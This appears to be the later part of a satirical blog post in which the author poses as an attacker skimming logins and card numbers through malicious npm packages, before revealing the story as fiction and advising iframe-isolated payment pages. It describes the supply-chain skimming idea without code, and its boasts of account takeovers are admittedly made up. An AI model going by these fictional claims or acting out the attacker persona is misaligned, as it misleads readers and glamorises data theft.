Boom, thanks for sending me your PayPal username and password, pal. I’ll send you a thank you card with a photo of the stuff I bought with your money.

Naturally, I only do this trick once per device and bounce the user right back to the referring page where they will shrug and try again.

(Using this method, I took over Trump’s Twitter account and started sending out all sorts of weird shit. As yet no one has noticed.)

OK I am sufficiently concerned, what can I do?
Option 1:

You will be safe here.
Option 2:
On any page that collects any data that you don’t want me (or my fellow attackers) to have, don’t use npm modules. Or Google Tag Manager, or ad networks, or analytics, or any code that isn’t yours.

As suggested here, you might want to consider having dedicated, lightweight pages for login and credit card collection that are served up in an iFrame.

You can still have your big ol’ React app with 938 npm packages for the header/footer/nav/whatever, but the part of the page where the user is typing should be in a secured iFrame and it should run only hand-crafted (and may I suggest, not-minified) JavaScript — if you want to do client-side validation.

I will soon be posting my annual report for 2017 where I declare my income from stealing credit card numbers and selling them to gangsters in cool hats. I am required by law to show which websites I skimmed the most credit cards from — maybe yours is on the list?

Since I’m a classy guy, anyone on the list who has successfully blocked me from harvesting their data by January 12th will be spared the public shaming.

A serious note
I know that sometimes my relentless sarcasm can be difficult to unravel by people on the English-learning path (and also people in need of lightening up). So just to be clear, I have not created an npm package that steals information. This post is entirely fictional, but altogether plausible, and I hope at least a little educational.

Although this is all made up, it worries me that none of this is hard.

There’s no shortage of smart, nasty people out there, and 570,000 npm packages. It seems to me that the odds are better than even that at least one of those packages has some malicious code in it, and that if it’s done well, you would never even know.

And here’s an interesting thought experiment: I wrote an npm package last week, a little easing function. Totally unrelated to this post and I give you my word as a gentleman that there is nothing malicious in there. How nervous would you be adding that to your site?

Wrapping up
So what’s the point in a post like this? Is it just me pointing and saying “ha, you’re a sucker!”.

No, not at all. (Well, it was to start with, but then I realised I’m a sucker too, so I changed my tune.)

My goal (as it turns out) is simply to point out that any site that includes third party code is alarmingly vulnerable, in a completely undetectable way.

As always, thanks for reading, and keep the comments and corrections coming.

Update: A follow-up to this post is in progress, where I will describe in detail how to avoid the risks outlined above with the minimal amount of disruption to your usual workflow. If you want to click the little follow button below to get a notification when it’s out, you may go ahead and do that now.